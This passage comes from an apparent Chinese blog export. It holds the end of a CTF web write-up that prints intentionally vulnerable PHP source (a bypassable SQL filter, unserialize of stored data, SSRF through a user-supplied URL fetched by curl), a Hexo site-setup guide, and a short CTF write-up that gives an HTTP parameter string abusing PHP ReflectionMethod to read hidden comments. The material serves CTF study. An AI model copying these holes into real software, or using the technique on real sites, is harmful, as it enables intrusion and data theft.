function anti_sqli($no) {</span><br><span class="line"> $patterns = "/union\Wselect|0x|hex/i";</span><br><span class="line"></span><br><span class="line"> return preg_match($patterns, $no);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">/*</span><br><span class="line">CREATE TABLE `users` ( `no` INT NOT NULL AUTO_INCREMENT , `username` VARCHAR(100) NOT NULL , `passwd` VARCHAR(128) NOT NULL , `data` TEXT NOT NULL , PRIMARY KEY (`no`)) ENGINE = MyISAM;</span><br><span class="line"></span><br><span class="line"> */</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h4 id="user-php"><a href="#user-php" class="headerlink" title="user.php"></a>user.php</h4><figure class="highlight plain"><table><tr><td class="code"><pre><span class="line"><?php</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">class UserInfo</span><br><span class="line">{</span><br><span class="line"> public $name = "";</span><br><span class="line"> public $age = 0;</span><br><span class="line"> public $blog = "";</span><br><span class="line"></span><br><span class="line"> public function __construct($name, $age, $blog)</span><br><span class="line"> {</span><br><span class="line"> $this->name = $name;</span><br><span class="line"> $this->age = (int)$age;</span><br><span class="line"> $this->blog = $blog;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> function get($url)</span><br><span class="line"> {</span><br><span class="line"> $ch = curl_init();</span><br><span class="line"></span><br><span class="line"> curl_setopt($ch, CURLOPT_URL, $url);</span><br><span class="line"> curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);</span><br><span class="line"> $output = curl_exec($ch);</span><br><span class="line"> $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);</span><br><span class="line"> if($httpCode == 404) {</span><br><span class="line"> return 404;</span><br><span class="line"> }</span><br><span class="line"> curl_close($ch);</span><br><span class="line"></span><br><span class="line"> return $output;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> public function getBlogContents ()</span><br><span class="line"> {</span><br><span class="line"> return $this->get($this->blog);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> public function isValidBlog ()</span><br><span class="line"> {</span><br><span class="line"> $blog = $this->blog;</span><br><span class="line"> return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<h4 id="lib-php"><a href="#lib-php" class="headerlink" title="lib.php"></a>lib.php</h4><figure class="highlight plain"><table><tr><td class="code"><pre><span class="line"><?php</span><br><span class="line"></span><br><span class="line">function sha512($data)</span><br><span class="line">{</span><br><span class="line"> return hash('sha512', $data);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">function xss($data)</span><br><span class="line">{</span><br><span class="line"> return htmlspecialchars($data, ENT_QUOTES, 'UTF-8');</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">function anti_object_injection($unserializedData)</span><br><span class="line">{</span><br><span class="line"> if (preg_match("/O:/i", $unserializedData))</span><br><span class="line"> {</span><br><span class="line"> return 0;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> else</span><br><span class="line"> return 1;</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<h4 id="bootstrap-php"><a href="#bootstrap-php" class="headerlink" title="bootstrap.php"></a>bootstrap.php</h4><figure class="highlight plain"><table><tr><td class="code"><pre><span class="line"><link rel="stylesheet" href="css/bootstrap.min.css" crossorigin="anonymous"></span><br><span class="line"><script src="js/jquery-3.3.1.slim.min.js" crossorigin="anonymous"></script></span><br><span class="line"><script src="js/popper.min.js" crossorigin="anonymous"></script></span><br><span class="line"><script src="js/bootstrap.min.js" crossorigin="anonymous"></script></span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h4 id="view-php"><a href="#view-php" class="headerlink" title="view.php"></a>view.php</h4><figure class="highlight plain"><table><tr><td class="code"><pre><span class="line"><?php session_start(); ?></span><br><span class="line"><?php require_once 'db.php'; ?></span><br><span class="line"><?php require_once 'user.php'; ?></span><br><span class="line"><?php require_once 'error.php'; ?></span><br><span class="line"><?php</span><br><span class="line"></span><br><span class="line">$db = new DB();</span><br><span class="line"></span><br><span class="line">?></span><br><span class="line"><!doctype html></span><br><span class="line"><html lang="ko"></span><br><span class="line"><head></span><br><span class="line"> <meta charset="UTF-8"></span><br><span class="line"> <meta name="viewport"</span><br><span class="line"> content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0"></span><br><span class="line"> <meta http-equiv="X-UA-Compatible" content="ie=edge"></span><br><span class="line"> <title>User</title></span><br><span class="line"></span><br><span class="line"> <?php require_once 'bootstrap.php'; ?></span><br><span class="line"></head></span><br><span class="line"><body></span><br><span class="line"><?php</span><br><span class="line"></span><br><span class="line">$no = $_GET['no'];</span><br><span class="line">if ($db->anti_sqli($no))</span><br><span class="line">{</span><br><span class="line"> die("no hack ~_~");</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">$res = $db->getUserByNo($no);</span><br><span class="line">$user = unserialize($res['data']);</span><br><span class="line">//print_r($res);</span><br><span class="line"></span><br><span class="line">?></span><br><span class="line"><div class="container"></span><br><span class="line"> <table class="table"></span><br><span class="line"> <tr></span><br><span class="line"> <th></span><br><span class="line"> username</span><br><span class="line"> </th></span><br><span class="line"> <th></span><br><span class="line"> age</span><br><span class="line"> </th></span><br><span class="line"> <th></span><br><span class="line"> blog</span><br><span class="line"> </th></span><br><span class="line"> </tr></span><br><span class="line"> <tr></span><br><span class="line"> <td></span><br><span class="line"> <?php echo $res['username']; ?></span><br><span class="line"> </td></span><br><span class="line"> <td></span><br><span class="line"> <?php echo $user->age; ?></span><br><span class="line"> </td></span><br><span class="line"> <td></span><br><span class="line"> <?php echo xss($user->blog); ?></span><br><span class="line"> </td></span><br><span class="line"> </tr></span><br><span class="line"> </table></span><br><span class="line"></span><br><span class="line"> <hr></span><br><span class="line"> <br><br><br><br><br></span><br><span class="line"> <p>the contents of his/her blog</p></span><br><span class="line"> <hr></span><br><span class="line"> <?php</span><br><span class="line"></span><br><span class="line"> $response = $user->getBlogContents();</span><br><span class="line"> if ($response === 404)</span><br><span class="line"> {</span><br><span class="line"> echo "404 Not found";</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> else</span><br><span class="line"> {</span><br><span class="line"> $base64 = base64_encode($response);</span><br><span class="line"> echo "<iframe width='100%' height='10em' src='data:text/html;base64,{$base64}'>";</span><br><span class="line"> // echo $response;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> // var_dump($user->getBlogContents());</span><br><span class="line"> ?></span><br><span class="line"></span><br><span class="line"></div></span><br><span class="line"></body></span><br><span class="line"></html></span><br></pre></td></tr></table></figure>
<h4 id="error-php"><a href="#error-php" class="headerlink" title="error.php"></a>error.php</h4><figure class="highlight plain"><table><tr><td class="code"><pre><span class="line"><?php</span><br><span class="line"></span><br><span class="line">error_reporting(E_ALL);</span><br><span class="line">ini_set("display_errors", 1);</span><br><span class="line">// error_reporting(0);</span><br><span class="line">// ini_set("display_errors", 0);</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h4 id="flag-php"><a href="#flag-php" class="headerlink" title="flag.php"></a>flag.php</h4><figure class="highlight plain"><table><tr><td class="code"><pre><span class="line"><?php</span><br><span class="line"></span><br><span class="line">$flag = "flag{c1e552fdf77049fabf65168f22f7aeab}";</span><br><span class="line">exit(0);</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h4 id="join-php"><a href="#join-php" class="headerlink" title="join.php"></a>join.php</h4><figure class="highlight plain"><table><tr><td class="code"><pre><span class="line"><!doctype html></span><br><span class="line"><html lang="ko"></span><br><span class="line"><head></span><br><span class="line"> <meta charset="UTF-8"></span><br><span class="line"> <meta name="viewport"</span><br><span class="line"> content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0"></span><br><span class="line"> <meta http-equiv="X-UA-Compatible" content="ie=edge"></span><br><span class="line"> <title>Join</title></span><br><span class="line"></span><br><span class="line"> <?php include 'bootstrap.php'; ?></span><br><span class="line"></span><br><span class="line"></head></span><br><span class="line"><body></span><br><span class="line"><div class="container"></span><br><span class="line"> <h1>Join</h1></span><br><span class="line"> <div class="form-group"></span><br><span class="line"> <form action="join.ok.php" method="post"></span><br><span class="line"> <div class="row"></span><br><span class="line"> <div class="col-md-1"></span><br><span class="line"> username</span><br><span class="line"> </div></span><br><span class="line"> <div class="col-md-4"></span><br><span class="line"> <input type="text" name="username" maxlength="100" class="form-control"></span><br><span class="line"> </div></span><br><span class="line"> </div></span><br><span class="line"></span><br><span class="line"> <div class="row"></span><br><span class="line"> <div class="col-md-1"></span><br><span class="line"> passwd :</span><br><span class="line"> </div></span><br><span class="line"> <div class="col-md-4"></span><br><span class="line"> <input type="password" name="passwd" class="form-control"></span><br><span class="line"> </div></span><br><span class="line"> </div></span><br><span class="line"></span><br><span class="line"> <div class="row"></span><br><span class="line"> <div class="col-md-1"></span><br><span class="line"> age :</span><br><span class="line"> </div></span><br><span class="line"> <div class="col-md-4"></span><br><span class="line"> <input type="text" name="age" class="form-control"></span><br><span class="line"> </div></span><br><span class="line"> </div></span><br><span class="line"></span><br><span class="line"> <div class="row"></span><br><span class="line"> <div class="col-md-1"></span><br><span class="line"> blog :</span><br><span class="line"> </div></span><br><span class="line"> <div class="col-md-4"></span><br><span class="line"> <input type="text" name="blog" class="form-control"></span><br><span class="line"> </div></span><br><span class="line"> </div></span><br><span class="line"></span><br><span class="line"> <div class="row"></span><br><span class="line"> <input type="submit" value="join" class="btn btn-info"></span><br><span class="line"> </div></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> </form></span><br><span class="line"> </div></span><br><span class="line"></div></span><br><span class="line"></body></span><br><span class="line"></html></span><br><span class="line"></span><br></pre></td></tr></table></figure>
]]></content>
<categories>
<category>CTF</category>
</categories>
<tags>
<tag>WEB</tag>
<tag>CTF</tag>
<tag>SQLi</tag>
<tag>PHP</tag>
<tag>攻防世界</tag>
<tag>反序列</tag>
<tag>SSRF</tag>
</tags>
</entry>
<entry>
<title>hexo建站笔记</title>
<url>/2019/07/08/hexo-blog/</url>
<content><</code>来引入<code>logo.jpg</code></p>
<h3 id="自动部署到github"><a href="#自动部署到github" class="headerlink" title="自动部署到github"></a>自动部署到github</h3><figure class="highlight shell"><table><tr><td class="code"><pre><span class="line">npm install hexo-deployer-git --save</span><br></pre></td></tr></table></figure>
<p>然后需要在根路径的_config.yml配置你的git URL</p>
<figure class="highlight yml"><table><tr><td class="code"><pre><span class="line"><span class="attr">deploy:</span></span><br><span class="line"> <span class="attr">type:</span> <span class="string">git</span></span><br><span class="line"> <span class="attr">repo:</span> <span class="string">https://github.com/xxx/xxx.github.io.git</span></span><br><span class="line"> <span class="attr">branch:</span> <span class="string">master</span></span><br></pre></td></tr></table></figure>
<p>然后使用hexo d命令可部署到github</p>
<h3 id="添加流程图支持"><a href="#添加流程图支持" class="headerlink" title="添加流程图支持"></a>添加流程图支持</h3><figure class="highlight shell"><table><tr><td class="code"><pre><span class="line">npm install --save hexo-filter-flowchart</span><br></pre></td></tr></table></figure>
<p>安装成功后,需要在根路径的_config.yml文件添加下列代码</p>
<figure class="highlight yml"><table><tr><td class="code"><pre><span class="line"><span class="attr">flowchart:</span></span><br><span class="line"> <span class="comment"># raphael: # optional, the source url of raphael.js</span></span><br><span class="line"> <span class="comment"># flowchart: # optional, the source url of flowchart.js</span></span><br><span class="line"> <span class="attr">options:</span> <span class="comment"># options used for `drawSVG`</span></span><br></pre></td></tr></table></figure>
<h3 id="设置阅读全文按钮"><a href="#设置阅读全文按钮" class="headerlink" title="设置阅读全文按钮"></a>设置阅读全文按钮</h3><p>只需在文章中添加<code><!-- more --></code>标签就行</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">这是摘要</span><br><span class="line"></span><br><span class="line"><!-- more --></span><br><span class="line"></span><br><span class="line">这是全文</span><br></pre></td></tr></table></figure>
<h3 id="草稿功能"><a href="#草稿功能" class="headerlink" title="草稿功能"></a>草稿功能</h3><p>新建草稿</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line"><span class="meta">$</span><span class="bash"> hexo new draft <title></span></span><br></pre></td></tr></table></figure>
<p>本机预览草稿</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line"><span class="meta">$</span><span class="bash"> hexo S --draft</span></span><br></pre></td></tr></table></figure>
<p>将草稿发布为正式文章</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line"><span class="meta">$</span><span class="bash"> hexo P <filename></span></span><br></pre></td></tr></table></figure>
<h3 id="配置评论功能"><a href="#配置评论功能" class="headerlink" title="配置评论功能"></a>配置评论功能</h3><p>最开始是想使用gitalk,但发现<code>gitalk</code>权限过高,并且会泄露<code>client_id</code>和<code>client_secret</code>,所以放弃了,改为使用<code>LiveRe</code>,只需注册后拿到<code>uid</code>再复制到<code>next</code>主题目录下的<code>_config.yml</code>,<code>livere_uid:</code>后填入即可</p>
<h3 id="图片点击预览放大功能"><a href="#图片点击预览放大功能" class="headerlink" title="图片点击预览放大功能"></a>图片点击预览放大功能</h3><p>进入主题目录,下载<code>fancybox</code>包:</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cd</span> blog\themes\next</span><br><span class="line">git <span class="built_in">clone</span> https://github.com/theme-next/theme-next-fancybox3 <span class="built_in">source</span>/lib/fancybox</span><br></pre></td></tr></table></figure>
<p>在主题配置文件中启用<code>fancybox</code>:</p>
<figure class="highlight yml"><table><tr><td class="code"><pre><span class="line"><span class="attr">fancybox:</span> <span class="literal">true</span></span><br></pre></td></tr></table></figure>
<p>参考:<a href="https://github.com/theme-next/theme-next-fancybox3">https://github.com/theme-next/theme-next-fancybox3</a></p>
<h3 id="添加一个二次元人物"><a href="#添加一个二次元人物" class="headerlink" title="添加一个二次元人物"></a>添加一个二次元人物</h3><p>效果如下:<br><img data-src="/2019/07/08/hexo-blog/2020-08-21-18-23-16.png"><br>首先安装live2d插件:</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">npm install --save hexo-helper-live2d</span><br></pre></td></tr></table></figure>
<p>在Hexo的<code>_config.yml</code>文件中添加下面代码:</p>
<figure class="highlight yml"><table><tr><td class="code"><pre><span class="line"><span class="attr">live2d:</span></span><br><span class="line"> <span class="attr">enable:</span> <span class="literal">true</span></span><br><span class="line"> <span class="attr">scriptFrom:</span> <span class="string">local</span></span><br><span class="line"> <span class="attr">pluginRootPath:</span> <span class="string">live2dw/</span></span><br><span class="line"> <span class="attr">pluginJsPath:</span> <span class="string">lib/</span></span><br><span class="line"> <span class="attr">pluginModelPath:</span> <span class="string">assets/</span></span><br><span class="line"> <span class="attr">tagMode:</span> <span class="literal">false</span></span><br><span class="line"> <span class="attr">debug:</span> <span class="literal">false</span></span><br><span class="line"> <span class="attr">model:</span></span><br><span class="line"> <span class="attr">use:</span> <span class="string">live2d-widget-model-wanko</span></span><br><span class="line"> <span class="attr">display:</span></span><br><span class="line"> <span class="attr">position:</span> <span class="string">right</span></span><br><span class="line"> <span class="attr">width:</span> <span class="number">150</span></span><br><span class="line"> <span class="attr">height:</span> <span class="number">300</span></span><br><span class="line"> <span class="attr">mobile:</span></span><br><span class="line"> <span class="attr">show:</span> <span class="literal">true</span></span><br><span class="line"> <span class="attr">react:</span></span><br><span class="line"> <span class="attr">opacity:</span> <span class="number">0.7</span></span><br></pre></td></tr></table></figure>
<p>选择一个喜欢的模型,从这个url选择:<a href="https://huaji8.top/post/live2d-plugin-2.0/">https://huaji8.top/post/live2d-plugin-2.0/</a></p>
<p>选好模型后根据以下包名安装相应的npm模块:</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">live2d-widget-model-chitose</span><br><span class="line">live2d-widget-model-epsilon2_1</span><br><span class="line">live2d-widget-model-gf</span><br><span class="line">live2d-widget-model-haru/01 (use npm install --save live2d-widget-model-haru)</span><br><span class="line">live2d-widget-model-haru/02 (use npm install --save live2d-widget-model-haru)</span><br><span class="line">live2d-widget-model-haruto</span><br><span class="line">live2d-widget-model-hibiki</span><br><span class="line">live2d-widget-model-hijiki</span><br><span class="line">live2d-widget-model-izumi</span><br><span class="line">live2d-widget-model-koharu</span><br><span class="line">live2d-widget-model-miku</span><br><span class="line">live2d-widget-model-ni-j</span><br><span class="line">live2d-widget-model-nico</span><br><span class="line">live2d-widget-model-nietzsche</span><br><span class="line">live2d-widget-model-nipsilon</span><br><span class="line">live2d-widget-model-nito</span><br><span class="line">live2d-widget-model-shizuku</span><br><span class="line">live2d-widget-model-tororo</span><br><span class="line">live2d-widget-model-tsumiki</span><br><span class="line">live2d-widget-model-unitychan</span><br><span class="line">live2d-widget-model-wanko</span><br><span class="line">live2d-widget-model-z16</span><br></pre></td></tr></table></figure>
<p>如<code>hijiki</code>对应的是<code>live2d-widget-model-hijiki</code>,然后通过<code>npm install 模型的包名</code>来安装,安装后在<code>_config.yml</code>修改对应的包名来启用:</p>
<figure class="highlight yml"><table><tr><td class="code"><pre><span class="line"><span class="attr">model:</span></span><br><span class="line"> <span class="attr">use:</span> <span class="string">live2d-widget-model-hijiki</span></span><br></pre></td></tr></table></figure>
<h3 id="添加背景动画"><a href="#添加背景动画" class="headerlink" title="添加背景动画"></a>添加背景动画</h3><p>安装动画js依赖:</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cd</span> blog\themes\next</span><br><span class="line">git <span class="built_in">clone</span> https://github.com/theme-next/theme-next-three <span class="built_in">source</span>/lib/three</span><br><span class="line">git <span class="built_in">clone</span> https://github.com/theme-next/theme-next-canvas-ribbon <span class="built_in">source</span>/lib/canvas-ribbon</span><br></pre></td></tr></table></figure>
<p>在<strong>NexT</strong>主题的<code>_config.yml</code>文件启用以下配置:</p>
<figure class="highlight yml"><table><tr><td class="code"><pre><span class="line"><span class="attr">three_waves:</span> <span class="literal">true</span></span><br><span class="line"><span class="string">OR</span></span><br><span class="line"><span class="attr">canvas_lines:</span> <span class="literal">true</span></span><br><span class="line"><span class="string">OR</span></span><br><span class="line"><span class="attr">canvas_sphere:</span> <span class="literal">true</span></span><br></pre></td></tr></table></figure>
<p>以上三种动画只能选一个:</p>
<ul>
<li>three 的动画是线和点的组合,随鼠标位置的移动而变化。</li>
<li>canvas_nest 是自由移动的线条,当你的鼠标移动时,线条汇聚在你的鼠标位置上,形成多边形。</li>
<li>canvas_ribbon 是随鼠标点击而变化颜色的彩带。</li>
</ul>
<p>启用彩虹背景:</p>
<figure class="highlight yml"><table><tr><td class="code"><pre><span class="line"><span class="attr">canvas_ribbon:</span></span><br><span class="line"> <span class="attr">enable:</span> <span class="literal">true</span></span><br></pre></td></tr></table></figure>
<p>参考:<br><a href="https://github.com/theme-next/theme-next-three">https://github.com/theme-next/theme-next-three</a><br><a href="https://github.com/theme-next/theme-next-canvas-ribbon">https://github.com/theme-next/theme-next-canvas-ribbon</a></p>
<h3 id="启用顶部的阅读进度条"><a href="#启用顶部的阅读进度条" class="headerlink" title="启用顶部的阅读进度条"></a>启用顶部的阅读进度条</h3><figure class="highlight yml"><table><tr><td class="code"><pre><span class="line"><span class="attr">reading_progress:</span></span><br><span class="line"> <span class="attr">enable:</span> <span class="literal">true</span></span><br></pre></td></tr></table></figure>
<h3 id="启用页面加载动画"><a href="#启用页面加载动画" class="headerlink" title="启用页面加载动画"></a>启用页面加载动画</h3><p>页面加载动画指的是刚访问页面,各元素还没有加载完成时,显示的加载进度动画。NexT 提供了多种样式,读者可以自己尝试。<br>安装依赖:</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cd</span> blog\themes\next</span><br><span class="line">git <span class="built_in">clone</span> https://github.com/theme-next/theme-next-pace <span class="built_in">source</span>/lib/pace</span><br></pre></td></tr></table></figure>
<p>启用配置:</p>
<figure class="highlight yml"><table><tr><td class="code"><pre><span class="line"><span class="attr">pace:</span></span><br><span class="line"> <span class="attr">enable:</span> <span class="literal">true</span></span><br></pre></td></tr></table></figure>
<h3 id="不算子计算不显示的BUG"><a href="#不算子计算不显示的BUG" class="headerlink" title="不算子计算不显示的BUG"></a>不算子计算不显示的BUG</h3><p>不算子与hexo-helper-live2d有冲突,经常不显示访问计算,可通过下面的方法修复。</p>
<p>在js目录下创建<code>busuanzi.pure.mini.js</code>文件,内容如下:<br><img data-src="/2019/07/08/hexo-blog/2023-05-23-10-17-54.png"></p>
<figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> bszCaller, bszTag; !<span class="function"><span class="keyword">function</span> (<span class="params"></span>) </span>{ <span class="keyword">var</span> c, d, e, a = !<span class="number">1</span>, b = []; ready = <span class="function"><span class="keyword">function</span> (<span class="params">c</span>) </span>{ <span class="keyword">return</span> a || <span class="string">"interactive"</span> === <span class="built_in">document</span>.readyState || <span class="string">"complete"</span> === <span class="built_in">document</span>.readyState ? c.call(<span class="built_in">document</span>) : b.push(<span class="function"><span class="keyword">function</span> (<span class="params"></span>) </span>{ <span class="keyword">return</span> c.call(<span class="built_in">this</span>) }), <span class="built_in">this</span> }, d = <span class="function"><span class="keyword">function</span> (<span class="params"></span>) </span>{ <span class="keyword">for</span> (<span class="keyword">var</span> a = <span class="number">0</span>, c = b.length; c > a; a++)b[a].apply(<span class="built_in">document</span>); b = [] }, e = <span class="function"><span class="keyword">function</span> (<span class="params"></span>) </span>{ a || (a = !<span class="number">0</span>, d.call(<span class="built_in">window</span>), <span class="built_in">document</span>.removeEventListener ? <span class="built_in">document</span>.removeEventListener(<span class="string">"DOMContentLoaded"</span>, e, !<span class="number">1</span>) : <span class="built_in">document</span>.attachEvent && (<span class="built_in">document</span>.detachEvent(<span class="string">"onreadystatechange"</span>, e), <span class="built_in">window</span> == <span class="built_in">window</span>.top && (<span class="built_in">clearInterval</span>(c), c = <span class="literal">null</span>))) }, <span class="built_in">document</span>.addEventListener ? <span class="built_in">document</span>.addEventListener(<span class="string">"DOMContentLoaded"</span>, e, !<span class="number">1</span>) : <span class="built_in">document</span>.attachEvent && (<span class="built_in">document</span>.attachEvent(<span class="string">"onreadystatechange"</span>, <span class="function"><span class="keyword">function</span> (<span class="params"></span>) </span>{ /loaded|complete/.test(<span class="built_in">document</span>.readyState) && e() }), <span class="built_in">window</span> == <span class="built_in">window</span>.top && (c = <span class="built_in">setInterval</span>(<span class="function"><span class="keyword">function</span> (<span class="params"></span>) </span>{ <span class="keyword">try</span> { a || <span class="built_in">document</span>.documentElement.doScroll(<span class="string">"left"</span>) } <span class="keyword">catch</span> (b) { <span class="keyword">return</span> } e() }, <span class="number">5</span>))) }(), bszCaller = { <span class="attr">fetch</span>: <span class="function"><span class="keyword">function</span> (<span class="params">a, b</span>) </span>{ <span class="keyword">var</span> c = <span class="string">"BusuanziCallback_"</span> + <span class="built_in">Math</span>.floor(<span class="number">1099511627776</span> * <span class="built_in">Math</span>.random()); <span class="built_in">window</span>[c] = <span class="built_in">this</span>.evalCall(b), a = a.replace(<span class="string">"=BusuanziCallback"</span>, <span class="string">"="</span> + c), scriptTag = <span class="built_in">document</span>.createElement(<span class="string">"SCRIPT"</span>), scriptTag.type = <span class="string">"text/javascript"</span>, scriptTag.defer = !<span class="number">0</span>, scriptTag.src = a, scriptTag.referrerPolicy = <span class="string">"no-referrer-when-downgrade"</span>, <span class="built_in">document</span>.getElementsByTagName(<span class="string">"HEAD"</span>)[<span class="number">0</span>].appendChild(scriptTag) }, <span class="attr">evalCall</span>: <span class="function"><span class="keyword">function</span> (<span class="params">a</span>) </span>{ <span class="keyword">return</span> <span class="function"><span class="keyword">function</span> (<span class="params">b</span>) </span>{ ready(<span class="function"><span class="keyword">function</span> (<span class="params"></span>) </span>{ <span class="keyword">try</span> { a(b), s = <span class="built_in">document</span>.querySelector(<span class="string">'[src*=BusuanziCallback]'</span>), s.parentElement.removeChild(s) } <span class="keyword">catch</span> (c) { <span class="built_in">console</span>.error(c), bszTag.hides() } }) } } }, bszCaller.fetch(<span class="string">"//busuanzi.ibruce.info/busuanzi?jsonpCallback=BusuanziCallback"</span>, <span class="function"><span class="keyword">function</span> (<span class="params">a</span>) </span>{ bszTag.texts(a), bszTag.shows() }), bszTag = { <span class="attr">bszs</span>: [<span class="string">"site_pv"</span>, <span class="string">"page_pv"</span>, <span class="string">"site_uv"</span>], <span class="attr">texts</span>: <span class="function"><span class="keyword">function</span> (<span class="params">a</span>) </span>{ <span class="built_in">this</span>.bszs.map(<span class="function"><span class="keyword">function</span> (<span class="params">b</span>) </span>{ <span class="keyword">var</span> c = <span class="built_in">document</span>.getElementById(<span class="string">"busuanzi_value_"</span> + b); c && (c.innerHTML = a[b]) }) }, <span class="attr">hides</span>: <span class="function"><span class="keyword">function</span> (<span class="params"></span>) </span>{ <span class="built_in">this</span>.bszs.map(<span class="function"><span class="keyword">function</span> (<span class="params">a</span>) </span>{ <span class="keyword">var</span> b = <span class="built_in">document</span>.getElementById(<span class="string">"busuanzi_container_"</span> + a); b && (b.style.display = <span class="string">"none"</span>) }) }, <span class="attr">shows</span>: <span class="function"><span class="keyword">function</span> (<span class="params"></span>) </span>{ <span class="built_in">this</span>.bszs.map(<span class="function"><span class="keyword">function</span> (<span class="params">a</span>) </span>{ <span class="keyword">var</span> b = <span class="built_in">document</span>.getElementById(<span class="string">"busuanzi_container_"</span> + a); b && (b.style.display = <span class="string">"inline"</span>) }) } };</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<p>全局搜索<code>busuanzi</code>,找到类似下面代码进行修改。<br>修改前:</p>
<figure class="highlight html"><table><tr><td class="code"><pre><span class="line"><span class="tag"><<span class="name">script</span> <span class="attr">async</span> <span class="attr">src</span>=<span class="string">"//busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"</span>></span><span class="tag"></<span class="name">script</span>></span></span><br></pre></td></tr></table></figure>
<p>修改后:</p>
<figure class="highlight html"><table><tr><td class="code"><pre><span class="line"><span class="tag"><<span class="name">script</span> <span class="attr">async</span> <span class="attr">src</span>=<span class="string">"/js/busuanzi.pure.mini.js"</span>></span><span class="tag"></<span class="name">script</span>></span></span><br></pre></td></tr></table></figure>
<p><img data-src="/2019/07/08/hexo-blog/2023-05-23-10-19-31.png"></p>
<p>参考:<br><a href="https://ouuan.moe/post/2022/08/busuanzi-and-live2">https://ouuan.moe/post/2022/08/busuanzi-and-live2</a></p>
<h3 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h3><p><a href="https://github.com/theme-next/theme-next-pace">https://github.com/theme-next/theme-next-pace</a><br><a href="https://tding.top/archives/dfac1e9c.html">https://tding.top/archives/dfac1e9c.html</a></p>
]]></content>
<categories>
<category>其它</category>
</categories>
<tags>
<tag>其它</tag>
</tags>
</entry>
<entry>
<title>fslh-writeup</title>
<url>/2020/10/28/fslh-writeup/</url>
<content><![CDATA[<h3 id="背景"><a href="#背景" class="headerlink" title="背景"></a>背景</h3><p>在某次比赛中碰到一题很魔幻的题目,让我印象深刻,特别是赛后主办方提供的wp(见下图)看得我久久不能忘怀,机缘巧合之下,又碰到了这一题目,故来分析一下。</p>
<p><img data-src="/2020/10/28/fslh-writeup/image-20201108120312799.png" alt="主办方的wp"></p>
<a id="more"></a>
<h3 id="正文"><a href="#正文" class="headerlink" title="正文"></a>正文</h3><p>题目打开只有一个500报错</p>
<p><img data-src="/2020/10/28/fslh-writeup/image-20201108110716269.png" alt="index页面"></p>
<p><img data-src="/2020/10/28/fslh-writeup/image-20201108110825271.png" alt="500报错"></p>
<p>扫描源代码文件,发现<code>index.php.swo</code>备份文件(坑!少见的备份文件格式,其是vim打开文件后的缓存文件),以下为文件内容:</p>
<p><img data-src="/2020/10/28/fslh-writeup/image-20201108110954007.png" alt="index.php.swo"></p>
<p><img data-src="/2020/10/28/fslh-writeup/image-20201108111020441.png" alt="index.php.swo"></p>
<p>分析题目,猜测flag是藏在类的注释中,我们能够实例化任意类,并调用类方法,那么就可以利用PHP 内置类中的 <code>ReflectionMethod</code>来读取<code>User</code>类里面各个函数的注释,本地测试如下:</p>
<p><img data-src="/2020/10/28/fslh-writeup/image-20201108115520912.png" alt="本地测试ReflectionMethod"></p>
<p>构造成题目中的http参数则是:<code>?rc=ReflectionMethod&ra=User&rb=a&rd=getDocComment</code></p>
<p>因为不知道是在哪个函数的注释中,所以逐个函数暴破,暴破<code>rb</code>的值<code>a-z</code>,可以发现<code>flag</code>在<code>q</code>的注释中</p>
<p><img data-src="/2020/10/28/fslh-writeup/image-20201108113842585.png" alt="遍历函数注释内容"></p>
<h3 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h3><p>本题考察的是<code>PHP反射</code>,<code>ReflectionMethod</code>构造<code>User</code>类中的函数方法,再通过<code>getDocComment</code>获取函数的注释,本例中使用<code>__toString</code>同样可以输出函数注释内容。</p>
